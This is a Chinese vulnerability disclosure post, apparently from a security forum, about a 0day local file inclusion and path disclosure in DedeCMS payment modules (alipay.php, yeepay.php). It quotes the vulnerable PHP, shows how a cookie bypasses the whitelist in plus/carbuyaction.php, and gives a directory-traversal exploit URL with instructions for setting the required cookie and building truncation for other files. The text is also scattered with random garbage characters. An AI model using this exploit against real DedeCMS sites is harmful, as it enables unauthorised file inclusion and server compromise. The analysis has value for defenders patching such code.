dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

! ~, r( u2 [, |) R. d出现漏洞的两个文件为：
, @. g: t' Z* D5 A. L2 `! eInclude/payment/alipay.php
6 i7 s: w9 A3 _Include/payment/yeepay.php
漏洞均出现在respond方法里，估计这两个文件是临时工写的。
2 t: s+ C! L* e$ i- X' j& y
Include/payment/alipay.php
  j1 f$ T& W; c  k( j, `
8 ^( Z, c% f: d4 o& O+ I  F......
0 c3 _: G) U' {8 D   function respond()
/ Z2 R% W4 r: E1 r3 T    {
        if (!empty($_POST))
        {
; H4 l5 M; w; c; r0 }' q4 \8 w            foreach($_POST as $key => $data)
            {
& v1 D8 D* p* [+ e' z                $_GET[$key] = $data;
& N6 ^3 f" ]9 F/ ]5 I/ K            }
        }
, P0 a: U. D* c2 k7 p4 a, x: k        /* 引入配置文件 */
- \0 Y- {# N/ v/ C; p6 ~# h6 E        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
......


5 E& U+ X  n0 Q4 Z  U8 U  H& J大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

Include/payment/yeepay.php

4 ?9 q+ x) [4 P8 ]

......
& ^+ i8 m( ^+ ?0 D" b    function respond()
    {
1 p& Y5 v8 p8 B9 ^, d5 ^& I
        /* 引入配置文件 */
: `8 p& A3 @8 V, g3 I. P8 i        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';

# `! t$ d0 ?% @' C, C4 C7 J" [) x. H8 Z        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
......

) j! x0 M5 X+ d: {' \" `# A


0 F( M; R0 q: [' l" ], f) R7 }! D大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
# S' A3 d& \( @8 n8 P: C
6 S$ x7 g) S; J这两个方法在plus/carbuyaction.php文件调用。

plus/carbuyaction.php

......
} else if ($dopost == 'return') {
+ ?* l) ^. f* a, y0 i6 L7 p: v    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
    if (in_array($code, $write_list))
    {
' W9 A: y* y" h. P        require_once DEDEINC.'/payment/'.$code.'.php';
5 r& S9 w4 B2 A9 A        $pay = new $code;
        $msg=$pay->respond();
6 e6 F( i, m3 i6 Z. l6 b        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
    } else {
1 W# T2 v$ E% s5 J2 r4 H4 Y        exit('Error:File Type Can\'t Recognized!');
    }
}
7 p8 x$ L6 @: Y......

. s$ \& `: I  E3 u6 I
2 |# d& z# [( g, }2 s5 i# A

2 r, Z, _9 k! J+ E3 B% G
# h9 ]4 T! C' `, x  W/ i# e" K+ f
0 I/ ]2 f1 w! n& l' E7 D大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
5 u  h- ^$ [' \5 Q8 J' D- _
' r* Y' k( x4 L" v) V' H' s1 }回到include/common.inc.php来看看他的机制。
3 W; X% }- j; o3 I
7 I9 |: Z% \2 v3 ~- Q
' N: @9 I+ v2 V+ `
1 o0 N$ [8 \2 V. h......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
' S: C3 X. T& t' P/ t8 X        foreach($$_request as $_k => $_v)
        {
                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
        }
}
......
大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。